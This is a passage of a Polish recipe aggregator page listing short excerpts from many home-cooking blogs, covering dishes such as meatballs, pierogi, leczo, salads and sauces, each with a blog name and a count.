ilości oleju. Cebulę oraz czosnek siekamy drobno i smażymy na szklisty kolor . Pulpety gotujemy z cebulą, czosnkiem i dodatkiem wody, do czasu aż będą zupełnie miękkie. Pulpety wyjmujemy, przygotowujemy sos dodając śmietanę, pokrojony świeży koper, doprawiając całość solą i pieprzem i odrobiną vegety( opcjonalnie) Pulpety możemy podawać z ziemniakami albo kaszą. Smacznego

Domowa Kuchnia u Mamy
Bitki wieprzowe w sosie własnym 215

liść laurowy. Cebulę w piórka i posiekany czosnek podsmażamy na rozumiany kolor. Wrzucamy do duszących się bitek. Przyprawiamy i Wszystko Dusimy ok 1,5godz. Miękkie bitki wyciągamy a sos zaciągamy dwoma łyżkami mąki z wodą :) Można podawać z kopytkami , kluskami śląskim czy też ziemniakami :) Smacznego

Domowa Kuchnia u Mamy
Pieczone ziemniaki z piersią z kurczaka 188

Pierś z kurczaka płuczę, osuszam,kroję w kostkę i przyprawiam przyprawą gyros.  Naczynie żaroodporne smaruję olejem, następnie z jednej strony układam mięsko a z drugiej ziemniaki polane sosem : *olej+ posiekany koperek+ ząbek czosnku przeciśnięty przez praskę. Zapiekam ok 45 min w 180stp. :) Smacznego

Domowa Kuchnia u Mamy
cepeliny z bryndzą 159

nakładamy po kawałku bryndzy, formujemy kluski. Wrzucamy partiami na wrzątek. Gotujemy po ok. 15 min. Wyciągamy przy pomocy łyżki cedzakowej. Podajemy okraszone masełkiem i podsmażoną cebulką lub np. z sosem grzybowym

Domowy Smak Jedzenia
Makaron ze szpinakiem, pieczarkami i pomidorami 245

Obiad w biegu. Szybki przegląd lodówki i na stole ląduje makaron w prostym sosie. Danie niezbyt skomplikowane czy wyrafinowane ale dobrze się ze sobą komponujące. Dla M porcja z żółtym serem, dla mnie bez :) Składniki: 200 g świeżego szpinaku 300 g pieczarek 400 g pomidorków koktajlowych 200 g makaronu 1 ząbek czosnku sól, pieprz, cukier opcjonalnie: starty żółty ser Makaron

My simple kitchen
Focaccia z figami, czerwoną cebulą, gorgonzolą i rozmarynem 203

pasujący do fig kolor - tegoroczna jesień ma dla mnie kolor fioletu! :) ➤ Spróbuj także: focaccię z gorgonzolą i gruszką na cieście z wędzoną papryką sałatkę z figami, boczkiem i sosem z gorgonzoli sałatkę z karmelizowaną gruszką, gorgonzolą i szpinakiem czekoladowe clafoutis z gorgonzolą i gruszką Focaccia z figami, czerwoną cebulą, gorgonzolą i rozmarynem Składniki /dla 2-4 osób: 1/2 porcji klasycznego

Chilli Czosnek i Oliwa
PAŁKI Z KURCZAKA ZAPIEKANE Z PAPRYKĄ I CEBULAMI 188

Cebule kroimy na ćwiartki, czosnek obieramy.  * Do naczynia żaroodpornego wkładamy warzywa, na to układamy pałki,polewamy delikatnie olejem,  zamykamy. Pieczemy ok godziny, co jakiś czas podlewając wytworzonym sosem

Z Majeczką w kuchni
Pierogi z grzybami i kaszą bulgur 342

Wycięte kółka ponownie rozwałkowujemy - ciasto musi być cienkie ! Następnie nakładamy farsz. Wrzucamy do wrzącej wody i gotujemy kilka minut.  U mnie, żeby było tak turbogrzybowo zrobiłam jeszcze sos, którym na koniec polałam pierogi i posypałam je pietruszką.  Grzyby i bulgur to bardzo dobre połączenie !  Wszystkiego smacznego

dlaSmaQ
Parówki w cieście drożdżowym, czyli domowe hot dogi 346

dogi w takiej formie niż klasyczne, czyli parówki wsadzone zazwyczaj w kupną bułkę:). Ciasto nie wymaga wyrastania, zagniatamy, oblepiamy nim parówki i wkładamy do piekarnika. Najlepiej smakują maczane w sosie czosnkowym. Pycha! 6 parówek dowolne dodatki do środka: u mnie papryka, cebula, ogórek konserwowy 250g mąki 1/2 szklanki mleka 25g drożdży świeżych 1,5 łyżki cukru 1/2 łyżeczki soli

Szefowa kuchni
WEGAŃSKI KREM Z CUKINII 257

gustu nie tylko weganom. SKŁADNIKI: 2-3 cukinie 1 marchewka 1 pietruszka 5 cm kawałek pora (jasna część) 1 cebula 1 ząbek czosnku 600 ml bulionu warzywnego 1 łyżka sosu sojowego 1 łyżka soku z cytryny sól, pieprz Cebulę i czosnek podsmażamy na szklisto na odrobinie oliwy. Następnie dodajemy pozostałe warzywa pokrojone w plasterki. Dusimy je do miękkości. Następnie dodajemy

Anioły w kuchni
Pieczone pierożki kebabowe z indykiem 226

chodzi o farsz to możecie dodać co lubicie, bo te pierożki smakują tak naprawdę jak pizza, tylko w nieco innej formie :-) Pierożki pyszne, można podać z sosem czosnkowym lub innym, zabrać zamiast kanapek do szkoły, czy pracy :-) Przepis dostałam od mojej Beatki :-) Dziękuję :-) Wam życzę miłego dnia :-) Składniki na około 40 szt: 500 g mąki pszennej

kruche babeczki
Gnocchi z ziemniaków z sosem pieczarkowym 295

wodę z solą i odrobiną oleju, wkładaj do niej kluski i gotuj minutę od momentu wypłynięcia na powierzchnię wody Ja lubię podsmażone na patelni. Możesz je podać z białym sosem z przepisu, który znajdziesz tutaj Smacznego

Oka w rosole czyli KaFka gotuje
Naleśniki z mięsem i grzybami 297

Składniki: 1/2 kg mięsa mielonego 1 cebula 2 szklanki odgotowanych grzybów leśnych, u mnie podgrzybki 1 słoik sosu uniwersalnego ciemnego Łowicz sól, pieprz ser żółty naleśniki: ok. 1,5 szklanki mąki … Czytaj dalej Naleśniki z mięsem i grzybami

czarrna od kuchni
Rustykalna tarta z węgierkami 157

wprost uwielbiam. Bo przecież śliwki w kuchni są niezastąpione. Oprócz popularnych kompotów, dżemów, marmolad oraz powideł, ciast, sorbetów, pierogów i knedli, można robić z nich również marynaty i sosy do wędlin.  W zimnie goszczą na naszych stołach w postaci suszu podczas wigilijnej kolacji. A wiele odmian, takich jak węgierka zwykła czy renkloda zielona, należą do owoców, z których można

Życie zaczyna się w kuchni
Dietetyczne leczo pieczone w piekarniku (296 kcal) 295

oprószamy solą i przyprawą do kurczaka. Na dnie naczynia żaroodpornego układamy kurczaka. Na niego wykładamy warzywa. Olej, passatę pomidorową, bulion, przeciśnięty przez praskę czosnek i przyprawy mieszamy ze sobą. Sosem polewamy warzywa w naczyniu żaroodpornym. Całość posypujemy posiekaną natką pietruszki. Leczo zapiekamy pod przykryciem przez około 40 minut w temp 180 C. Następnie zdejmujemy przykrycie i pieczemy jeszcze około

e-PrzepisyKulinarne
FASOLKA SZPARAGOWA Z MIĘSEM MIELONYM 233

cebula 2 ząbki czosnku 1/2 kg mięsa mielonego (najlepiej karkówka lub łopatka) sól pieprz słodka papryka ostra papryka olej 250 ml passaty pomidorowej (ew. przecieru pomidorowego lub pomidorów w sosie własnym) Wykonanie: Fasolkę obierany z końcówek, kroimy na mniejsze kawałki i  gotujemy w lekko osolonej wodzie. Na rozgrzanym oleju podsmażamy pokrojoną w kostkę cebulę oraz posiekany czosnek. Dodajemy mielone

Walijskie Pichcenie
„Pasztecik” z ciecierzycy 153

wysmarowanej odrobiną masła i wysypaną bezglutenową bułką tartą, ustawienie piekarnika: grzanie góra-dół, 200 stopni aż pasztecik się zarumienił. Posypałam startym serem i ponownie zapiekłam – grill, 170 stopni. Sos: miętę zmiksowałam wraz z jogurtem i szczyptą soli – nic więcej nie potrzeba

Kate's Kitchen
Babka serowa z kiełbasą 298

zrobiłam serową babkę z dodatkiem kiełbasy krakowskiej suchej Hańderek , mozzarelli i natki pietruszki. Miałam małe obawy co z tego wyjdzie ale wyszło na prawdę coś pysznego. Babkę podałam z sosem czosnkowym i ketchupem. Znikała szybko więc chyba nie tylko mnie smakowała. Składniki: 3 jajka 1 szkl mleka 2 szkl mąki pszennej 100 ml oleju rzepakowego 1 płaska łyżeczka soli

Ala piecze i gotuje
Polskie kapary 194

nasturcji do złudzenia i wyglądem i smakiem przypominają egzotyczne kapary. To wartościowa namiastka prawdziwych kaparów, bowiem nasiona nasturcji posiadają wysoką zawartość kwasu erukowego - głównego składnika oleju Lorenza. Sery, jaja, sosy, surówki z ich dodatkiem są pikantniejsze i dużo smaczniejsze. Prawdziwe kapary pochodące z upraw nad Morzem śródziemnym są za to pełne atyoksydantów, min. cennej rytyny. Składniki: 1/2 szklanki octu

Gotuj zdrowo!Guten Appetit!
Gruszka rządzi jesienią:) 267

Wpadła gruszka do fartuszka...za nią wpadły dwa jabłuszka Zdrowe i pyszne gruszki towarzyszą ludziom od wieków. Zaczynam sezon na gruszkę. Ciasta, soki,galaretk i i sosy z gruszek. Na słodko, na słono i na pikantnie. Gruszka rządzi jesienią

Anioły w kuchni
Sałatka weselna z porem i ananasem 1175

minut. Przygotowanie sałatki – ananasa i mandarynki odcedzić. Pora pokroić w cienie paseczki. Groszek odcedzić. Do dużej miski wrzucić pora, kawałki ananasa, mandarynki,groszek i zimne klopsiki. Wymieszać. Przygotowanie sosu – do majonezu dodać curry, wymieszać. Majonezu dodać tyle żeby wszystkie składniki się połączyły. doprawić sałatkę do smaku solą i białym pieprzem. Sałatka jest rewelacyjna, polecam

Kuchnia Pokoleń
Cannelloni z grzybami leśnymi 264

Składniki: 1 opakowanie makaronu cannelloni 1 filet z kurczaka około 1,5 szklanki odgotowanych grzybów leśny, u mnie podgrzybki 1 cebula 2 łyżki masła 10 dkg sera żółtego 1 sos uniwersalny … Czytaj dalej Cannelloni z grzybami leśnymi

czarrna od kuchni
Marynowane prawdziwki 198

pełni sezonu na grzyby postanowiłam przygotować Marynowane prawdziwki , tak przynajmniej u nas nazywa się borowiki znalezione w lesie. Tak przygotowane grzyby przydadzą mi się na święta do sporządzenia sosu tatarskiego. Świetnie też smakują podane z wędliną oraz chrzanem. Składniki: - grzyby prawdziwki - 1 łyżeczka soli marynata: - 2 szklanki wody - 1/2 szklanki octu - 1 łyżka soli - 2 łyżki cukru - kilka ziaren ziela

Kuchnia co dnia
PULPETY Z GRZYBAMI LEŚNYMI 207

łyżki musztardy 2 łyżki ketchupu 8 leśnych grzybów 4 garście szpinaku 1 cebula 1 papryka pokrojona w kostkę 1 łyżka masła Olej do smażenia Bułka tarta do panierki Sos 500 ml przecieru pomidorowego 250 ml pomidorów z puszki 4 garście szpinaku Sól i pieprz do smaku 1 łyżka czosnku granulowanego 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka papryki czerwonej Woda

Gotowanie Patki
SYROP DO KAWY PUMPKIN SPICE COFFEE 195

patelnię dodaj miąższ z dyni, wodę i cukier. Całość zagotuj. Dodajemy pozostałe składniki i gotujemy przez 5- 10 minut. Całość przekładamy do miksera i miksujemy na gładką masę.  Sos ponownie zagotowujemy na patelni przez 2-3 minuty. Przelewamy do słoiczka i zakręcamy.  Do dużej filiżanki na kawę ponad 300 ml, dodajemy 2 łyżki syropu dyniowego. Syrop przechowujemy

SMYKWKUCHNI
Wytrawne drożdżowe rogaliki w godzinę 226

Szybkie, pyszne, mięciutkie rogaliki na śniadanie. Można zajadać na słodko z dżemem, miodem, masłem orzechowym czy syropem klonowym albo na wytrawnie z sosem czosnkowym, ziołowym, ajvarem czy jakim lubicie. Idealne rogaliki na śniadanie. Robi się je dość szybko zważywszy że mamy do czynienia z ciastem drożdżowym. Cały proces wytwarzania i pieczenia trwa godzinę. Wytrawne drożdżowe rogaliki w godzinę. ROZWIŃ

Moje Małe Czarowanie
Kotlety z serem w sosie paprykowo-pomidorowym 172

czosnkiem, po czym dodajemy paprykę. Smażymy aż papryka stanie się szklista. Następnie dodajemy pomidory w puszce oraz około półtorej szklanki wody i dusimy warzywa do miękkości i odparowania (zgęstnienia) sosu. Doprawiamy solą, pieprzem, ziołami prowansalskimi oraz suszoną bazylią. Na koniec dodajemy posiekane drobno liście bazylii. Przepis podpatrzony w jednym z czasopism

Smaki Na Talerzu
Karkóweczka w pomidorach 204

albo pomysłu na obiad. Krótkie przygotowanie, a potem hyc do piekarnika i robi się samo. Mięsko jest mięciutkie, aromatyczne, przy okazji uwarzy się nam także pyszny, gęsty i aromatyczny sos. Do tego kasza, czy inny ulubiony dodatek, jakieś warzywko i obiad kompletny. Czytaj więcej

Pichceniomania
Proste i smaczne kotlety z jajek 239

pieprz do smaku, posiekany szczypiorek do masy dodaj tyle bułki tartej/ babki jajowatej, żeby była ona zwarta formuj dłońmi kotlety i smaż na rozgrzanym tłuszczu Kotlety fajnie smakują z sosem grzybowym i zapiekanymi ziemniaczkami. Smacznego

Oka w rosole czyli KaFka gotuje
Kasza gryczana po gospodarsku – kuchnia podkarpacka 268

jako pożywna kolacja. Potrawa pochodzi z okolic Lubaczowa i tradycyjnie podawana jest z kwaśnym mlekiem lub kefirem. Moim zdaniem świetnie nadaje się też jako dodatek obiadowy do mięsa lub sosu, przy czym wówczas pominęłabym jabłko. Przepis pochodzi od pań z Koła Gospodyń Wiejskich w Antonikach (źródło: „Dziedzictwo kulturowe sztuki ludowej i kulinarnej Ziemi Lubaczowskiej”). Z przyjemnością edytuję post, ponieważ chciałabym

Trzeci talerz
Kurczak w sosie miodowo-musztardowym 526

Pierś kurczaka w prostym sosie z miodu i musztardy, doprawiona odrobiną chili. Mięso oczyścić i posypać solą oraz pieprzem z obu stron. W szklance wymieszać oliwę z musztardą i miodem

Bullio
ZUPA Z KURKAMI! 182

miękkości warzyw.  Na patelni na maśle przesmaż umyte i osuszone kurki, wraz z listkami cząbru, dodaj do zupy całą zawartość z patelni. Dzięki temu kurki uwolnią aromat do sosu maślanego, będą bardziej jędrne, a zupa bardziej aromatyczna.  Dodaj makaron i gotuj przez 12 do 15 minut. Dodaj śmietankę i gotowe! Pyszne, proste i polskie, jesienne danie! #krakus

SMYKWKUCHNI
Makaron z grzybami, Moonlight 287

Szpecle i spaghetti z sosem grzybowym i natką pietruszki./German noodles and spaghetti with wild mushroom sauce and parsley leaves.     Moonlight (2016, Barry Jenkins) opisuje historia życia czarnoskórego Chirona, który dorasta w jednej z najniebezpieczniejszych dzielnic Miami. Film zdobył w tym roku 3 Oscary (najlepszy film, najlepszy aktor drugoplanowy, najlepszy scenariusz adaptowany). Źródło Moonlight (2016, Barry Jenkins

Qlinarnie i Qlinarnie
Koktajl spalający tłuszcz z pomarańczy i grejpfruta 14272

Koktajl z jarmużu, banana i jabłka – odchudzający i mega zdrowy! Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami (adsbygoogle = window.adsbygoogle || []).push({}); The post Koktajl spalający tłuszcz z pomarańczy i grejpfruta appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
PIECZONE W PIEKARNIKU GOŁĄBKI Z KAPUSTY WŁOSKIEJ W SOSIE POMIDOROWYM 823

Przepyszne gołąbki czyli mięso mielone owinięte w liście kapusty włoskiej, tym razem zapiekane w piekarniku z sosem pomidorowym. Pomysł na szybki obiad. Nie tracimy czasu na podsmażanie gołąbków a kapusta włoska sprawia, że mięso w środku jest miękkie i delikatne. Gołąbki nie tracą swojego kształtu i jestem pewna, że jak raz spróbujecie, już zawsze będziecie w ten sposób przygotowywać gołąbki

Zrób to smacznie
Bigos z wołowiną i boczkiem 223

smakuje wybornie.   Składniki: kapusta biała 2 kg, kapusta kiszona 1 kg, suszone grzyby(dodałam zmielone 4 łyżki), cebula 1 szt, czosnek 3 ząbki, koncentrat pomidorowy 3 łyżki, sos sojowy 3 łyżki, majeranek pół łyżeczki, cząber 1 łyżeczka, kminek 1 łyżeczka, liść laurowy 2 szt, ziele angielskie 5 ziaren, papryka słodka mielona 1,5 łyżeczki, sól i pieprz

kulinarne odsłony pati
Przepis na kopytka 286

Dziś podstawowy przepis na kopytka . Pyszne, proste, idealne na obiad. Z czym je najczęściej podajecie? U nas królują w towarzystwie różnych sosów, jako dodatek do mięs, w towarzystwie zestawu surówek itd. Mój mąż jednak najbardziej lubi je po prostu z cebulką i tłuszczem. Bez względu na dodatki są pyszne, sycące, idealne na rodzinne obiady. Uwaga! 5% rabatu na zakupy

Słodkie okruszki
Domowe gołąbki z ryżem i mięsem. 209

się dały nasze gołąbki zawinąć. Na patelnię wlewamy olej, rozgrzewamy go i smażymy gołąbki z obu stron, tak aby się lekko zarumieniły. Gotowe gołąbki możemy polać sosem pieczarkowym, pomidorowym lub innym. Możemy je udekorować zmieloną czerwoną papryką i pokrojoną drobno zieloną natką pietruszki, a z góry możemy lekko poprószyć mieloną papryką.  Z tej porcji wychodzi dość dużo gołąbków

Przepisy i porady kulinarne
Sałatka z ogórka do grilla 176

oczka. Możemy też zrobić to przy użyciu noża. Pamiętajmy jednak, by nasz ogórek był wyjątkowo cienko pokrojony. Podobnie robimy z czerwoną papryką i cebulą. Całość wrzucamy do miski. Teraz sos. Do miodu dodajemy ocet winny i miód. całość dokładnie mieszamy i dodajemy do miski z ogórkami, papryką i cebulka. Pieprzymy i solimy. Na koniec dodajemy nasiona sezamu. Bon Apetit! Koszt

Kuchennyviral.pl
Kubańska kanapka z boczkiem 203

połówkę. Bierzemy się za smażenie. Kanapkę dociskamy na patelni, na której wcześniej rozpuszczamy masło. Smażymy tak kilka minut, po czym ostrożnie odwracamy kanapkę. I gotowe! Do kanapki możecie używać sosów i keczupu. Czasem do kanapki podawne są też frytki. Koszt: 12 zł jedna kanapka Przygotowanie: 10 minut Kubańska kanapka Kubańska kanapka Kubańska kanapka Artykuł Kubańska kanapka z boczkiem pochodzi

Kuchennyviral.pl
Pieczone ziemniaczane talarki 398

kolei talarki.  Wstawiamy do rozgrzanego do 220 stopni piekarnika (grzanie góra dół) na około 30-35 minut. Po dajemy z mięsem, sałatkami lub po prostu jako przekąska do sosu. Smacznego

ChilliJemy
Sałatka z serem grana padano 173

Dodać umyty miks sałat i wymieszać. W osobnej miseczce wymieszać majonez, musztardę, oliwę i starty na tarce ser grana padano. Doprawić solą i pieprzem. Tuż przed podaniem sałatkę polać sosem, delikatnie wymieszać, po czym dodać umyte i pokrojone w ósemki pomidory i ponownie delikatnie wymieszać

Passions hobbies life
Klopsiki w sosie cebulowo - serowym 144

Jeżeli już znudziły ci się kotlety mielone to wrzuć je do sosu cebulowo - serowego. Danie absolutnie pyszne, idealne na obiad. Podane z puree ziemniaczanym .... mmm   Dla 2 osób 200 g mięsa mielonego wieprzowego lub  drobiowego 1 kostka rosołowa 1 serek topiony 2 średnie cebule 1 jajko 1/2 czerstwej bułki 1 łyżka masła natka pietruszki 1 łyżka mąki sól

Jadło i czytadło
Makaron z łososiem, suszonymi pomidorami i mascarpone + film 202

oraz czarnym pieprzem, wrzucamy posiekaną zieleninę i wszystko razem łączymy. Makaron gotujemy w garnku z lekko osolonym wrzątkiem, według przepisu na opakowaniu, po czym odcedzamy i podajemy z gorącym sosem.   Artykuł Makaron z łososiem, suszonymi pomidorami i mascarpone + film pochodzi z serwisu Smakowite Dania

Smakowite Dania
Sernik lekki jak chmurka 1977

powinna być ścięta. Sernik studzić w piekarniku 1h przy uchylonych drzwiczkach, a następnie pozostawić do całkowitego ostudzenia na blacie. Przed podaniem można posypać cukrem pudrem, polać polewą czekoladową lub sosem owocowym. Smacznego! Uwaga: ponieważ sernik jest pieczony w kąpieli wodnej, forma musi być szczelna, najlepiej żeby była wykonana z jednego kawałka metalu. Jeśli używamy tortownicy (22cm), należy ją dobrze owinąć

Obiad gotowy
Tahini 178

baba ganoush. Można kupić ją w sklepach z orientalną żywnością. Ale po co? Przecież bez wysiłku można przygotować ją samemu w domu. Idealnie sprawdzi się jako dodatek do dressingów, sosów i ciast. Pomysłów na jej wykorzystanie jest mnóstwo, wystarczy trochę inwencji twórczej Prażąc sezam należy tylko pamiętać aby go nie przypalić, bo będzie gorzki. Potrzeba też trochę cierpliwości przy miksowaniu

Oryginalny smak
kurczak w marynacie miodowo-orzechowej z parowaru 256

Szybko, smacznie i zdrowo, te 3 słowa idealnie opisują to danie. Można do niego przygotować sos z masła orzechowego. 4 łyżki oleju arachidowego 3 łyżki miodu 1 pojedyncza pierś z kurczaka Odrobina soli Kurczaka pokrój w plastry. Z oleju, miodu oraz odrobiny soli przygotuj marynatę. Marynuj kurczaka przez noc. Mięso trzymaj w parowarze 40 minut. Smacznego

cukrem pudrem posypane
Sałatka ziemniaczana ze szpinakiem 192

Sałatka ziemniaczana ze szpinakiem to prosta, szybka w przygotowaniu i bardzo smaczna sałatka ziemniaczana. Wyjątkowo udane połączenie smakowe tanich składników: ziemniaków, świeżego szpinaku i pomidorów, oraz sosu na bazie oliwy i octu jabłkowego. Szpinak w tym roku królował na mojej działce, nie spodziewałam się, że będę zbierać świeże listki całe lato i jesień. To idealna sałatka ziemniaczana do mięs

Damsko-męskie spojrzenie na kuchnię
Surówka z czerwonej kapusty 191

Opis surówka z czerwonej kapusty: Surówka z czerwonej kapusty to świetny dodatek do wielu dań. Surówka jest tak uniwersalna, że można ją dodać do szynki pieczonej w sosie własnym jak i do kebaba. Czerwona kapusta ma twardsze liście i nie jest aż tak soczysta jak biała, dlatego częściej przyrządza się ją w wersji duszonej. Jeżeli czerwoną kapustę dobrze poszatkujemy

CookMag
Bezglutenowe placuszki czekoladowe z awokado z musem malinowym 137

zmiksuj z bananem, kakao, syropem klonowym i solą na gładką masę. Na oleju smaż niewielkie placuszki po minucie z każdej strony. Maliny ugotuj w wodzi z syropem do uzyskania sosu. Orzechy upraż na suchej patelni i posiekaj. Gotowe placuszki podaj z musem malinowym, zmrożonymi malinami, laskowymi orzechami i granatem.  Smacznego, Klaudia

Mango Papaja
koperty z pikantnym farszem węgierskim 255

zioła. I było o niebo lepsze niż jedzenie w wakacyjnych budkach. Koperty były przepyszne na ciepło a na zimno też dobrze się sprawdziły na imprezie jako paszteciki. Podałam z sosem czosnkowym.  Składniki: na ciasto: 450 g mąki 270 ml letniej wody 30 g drożdży 4 łyżki oleju łyżeczka soli łyżeczka cukru na farsz: 2 cebule  2 czerwone papryki

Domowa Cukierenka-Domowa Kuchnia
Pałki pieczone w kremowym sosie 284

boczku 30 dkg pieczarek 150 g ricotty pieprz ocet winny przyprawa do kurczaka suszony czosnek niedźwiedzi Przygotowanie: Pałki obsypać przyprawami, … Czytaj dalej Pałki pieczone w kremowym sosie

czarrna od kuchni
Mielone kotlety z czerwonej fasoli (VEGAN) 209

blasze wyłożonej papierem do pieczenia i lekko natłuszczonej. Kotleciki pieczemy przez ok. 20-30 minut do zarumienienia. Podajemy ze świeżym oregano i np. ryżem basmati, świeżymi pomidorkami oraz sosem pomidorowym. Gotowe. PS   Nie zapomnijcie dołączyć do nowej grupki na fejsie! 💜 PASTELOWE BABECZKI  💜        Smacznego! 🍃 ✩✩✩    Instagram  |  Facebook  |  YouTube

Kuchnia Ellie
Muszle z brokułami w sosie grzybowym 219

Makaronowe muszle tym razem bezmięsne - z brokułami i aromatycznym sosem pachnącym podgrzybkami, które zebrałam w lesie

Przepisy Kulinarne
Jesienne naleśniki z soczewicą, dynią i szpinakiem 254

ciepłem i troską oraz szpinakowymi liśćmi w kolorze nadziei. Pyszne, proste i całkiem szybkie...a jak pachną! Możecie dodać do nich jogurt, kwaśną śmietanę albo zaszaleć i polać aromatycznym sosem pomidorowym. Będą wyborne z każdym dodatkiem ale i bez żadnego z nich z pewnością Wam zasmakują, rozgrzeją i nasycą :) I co tam...niech sobie pada! Naleśniki z soczewicą, dynią

Kuchnia w Słońcu Skąpana
Dyniowe fit pancakes 235

Mamy sezon na dynię ! Ja cieszę się ogromnie, gdyż dynię uwielbiam w każdej postaci. To takie wdzięczne warzywo, co to dobre jest w daniu wytrawnym, jak i słodkim. Zupy, sosy, ciasta, desery... pieczona, gotowana, w postaci pure... Lubię każdą wersję. Dziś przygotowałam dla Was przepis na śniadaniowe placuszki z dyni . Dyniowe pancakes wprost krzyczą: "zjedz mnie". Ich optymistyczny kolor sprawia

kolorowotorcikowo
Prosta sałatka pieczarkowa 442

twardo. Pieczarki kroimy w plasterki, jajka i ogórki w kostkę. Pokrojone składniki przekładamy do jednej miski, dodajemy odsączony groszek. W innej miseczce mieszamy majonez z musztardą i przyprawami. Sos wylewamy do sałatki i dokładnie mieszamy. Całość odstawiamy na godzinę do lodówki. sałatka pieczarkowa Artykuł Prosta sałatka pieczarkowa pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Spaghetti Carbonara 201

pieprzem, dokładnie wymieszać. Do garnka z boczkiem dodać gorący makaron, wymieszać. Następnie wlewamy powoli masę jajeczną  cały czas mieszając, aż wszystkie składniki razem się połączą. Gdy sos zgęstnieje, zdjąć z ognia

magiczna kuchnia Kasi
Buchty (Kluski na parze) 206

znów 28 pół 29 stolnicy 30 zostało 31 gotowanie 32 duży 33 górę 34 kawałek 35 macie 36 mniej 37 pogotuje na parze 38 wymyślić 39 bita śmietana 40 sosy 41 zjeść 42 koledzy 43 Poznaniacy Artykuł Buchty (Kluski na parze) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Sałatka z melonem 145

Przygotowanie Miąższ melona i ser pokroiłem w kostkę. Wymieszałem w salaterce z roszponką, kalafiorem i salami. Z około 4 łyżek oliwy oraz miodu, musztardy i octu do smaku przygotowałem sos, polałem sałatkę. Doprawiłem solą i pieprzem, posypałem uprażonymi pestkami dyni

R'n'G Kitchen
Pulpety z szynki, w sosie warzywnym 193

smażymy przez 8-10 min. 500 g włoszczyzny w słupkach,  pokrojoną cebulę, 4 ząbki czosnku przeciśniętego w prasce, kawałeczek utartego imbiru, szczyptę  soli, szczyptę pieprzu, 5 łyżek sosu sojowego, 1 łyżkę octu jabłkowego, 1 łyżeczkę cukru. Ostatnie 2 min dusimy pod przykryciem... Potem dorzucamy pulpety na minutę i serwujemy na gorąco. Podajemy z ryżem, makaronem albo bez dodatków

chleba naszego
Podstawowy przepis na leczo, czyli szybkie jednogarnkowe danie 270

czyli na 1 kg papryki pół kilograma pomidorów, oczywiście to jest umowne, nikt Wam nie każe dzielić pomidora na pół, ale takie proporcje warzyw pozwolą Wam uzyskać idealną ilość sosu. Swoje leczo wzbogaciłam po brązowe pieczarki, które są bardziej aromatyczne niż białe, więc jeżeli chcecie zrobić przepis bazowy to etap pieczarek po prostu pomińcie. Zaletą tego dania jest szybki czas

greenscarf
Pulpety z jarmużem w pomidorach 305

Składniki: 1/2 kg łopatki wieprzowej 1/2 cebuli 1/2 pęczku jarmużu 2 kromki czerstwego chleba 1 jajko mąka vegeta do mięs 4 większe pomidory 1/2 szklanki sosu meksykańskiego Fanex sól, pieprz, … Czytaj dalej Pulpety z jarmużem w pomidorach

czarrna od kuchni
Drożdżowa tarta z leśnymi grzybami i jajkiem 166

bardzo drobnych oczkach serem. Z pozostałości ciasta możemy zrobić warkocz na brzeg tarty. Pieczemy w 200*C przez 20 minut. Przed podaniem obsypujemy świeżą natka pietruszki. Możemy podać również sos czosnkowy

VioletoweKucharzenie
PIZZA NA CIENKIM CIEŚCIE Z ŁOSOSIEM I FIGAMI 192

krążki cebuli i paseczki pomidorów. Wstaw do piekarnika, temp. 220 stopni C czas pieczenia 12 do 15 minut. wyciągamy z piekarnika, układamy na wierzch figi, łososia i bazylię, gotowe! SOS POMIDOROWY EKSPRESOWY: - 3 łyżki koncentratu pomidorowego ekologicznego - 2 łyżki ketchupu dla dzieci ( bez konserwantów i ulepszaczy, znajdziesz taki na półce ze zdrową żywnością) - 1 duży pomidor malinowy - 1/2 łyżeczki miodu

SMYKWKUCHNI
Leczo z kabaczkiem, kiełbasą i boczkiem 262

papryką słodką wędzoną i ostrą papryką. Garnek przykryć pokrywką i gotować na średnim ogniu. Całość, co jakiś czas przemieszać. Leczo będzie gotowe, gdy kabaczek zmięknie i utworzy się warzywny sos. Na sam koniec dodać przecier pomidorowy. Posmakować i ewentualnie doprawić. Całość jeszcze chwilę gotować. Gotowe leczo przelać do słoików, zakręcić pokrywki i postawić słoiki do góry dnem (aż do wystudzenia

Ugotować
Ziemniaczano - buraczane kotleciki 192

miała jednolitą konsystencję formować kotlety i obtaczać je w bułce tartej z każdej strony. Smażyć na niewielkim ogniu z obu stron.. Podawać z ulubionymi dodatkami i np. z sosem pieczarkowym. Smacznego

ChilliJemy
Puder z kani 175

tylko na patelnię chcieliśmy je przeznaczyć. Choć te panierowane są „najlepsiejsze” na świecie. Teraz stawiamy na dodatek do potraw. Banalnie prosty przepis, jednak niebanalnie zmieniający smak potraw, min. sosów i zup. Ten aromat wbije was w glebę. Cudo <3 które jest obecnie tak bardzo dostępne jak „buraki” ;)  Składniki kapelusze kani (grzyb czubajka kania)     Przygotowanie   Normal

R'n'G Kitchen
Pizza bez drożdży 159

podałam, te które najczęściej u nas występują. Ciasto: 2 szklanki mąki pszennej 2 łyżeczki proszku do pieczenia 1 łyżeczka soli 1/3 szklanki oleju 1/3 szklanki mleka 1/3 szklanki wody Sos: 50 g koncentratu pomidorowego 1 łyżeczka oregano 1 łyżeczka bazylii Dodatki: 10 dkg wędliny w plasterkach 1 pomidor 15 dkg startego żółtego sera Mąkę wymieszać z proszkiem do pieczenia

Krokusowy Dom
Kurczak w sosie śmietanowo-ziołowym 157

Soczysty kurczak w śmietanowym sosie z ziołami to smaczny i szybki obiad dla całej rodziny. Nawet nie sądziłam, że domowy obiad można przygotować tak błyskawicznie. A jednak ;) Szybko, zdrowo i pysznie. Skosztujcie... 2 piersi z kurczaka 400 ml śmietany 18% 2 łyżeczki ziół do sałatek olej do smażenia Mięso z kurczaka myjemy, osuszamy z nadmiaru wody ręcznikiem papierowym i kroimy

Krokusowy Dom
Filety z kurczaka w sosie miodowym 142

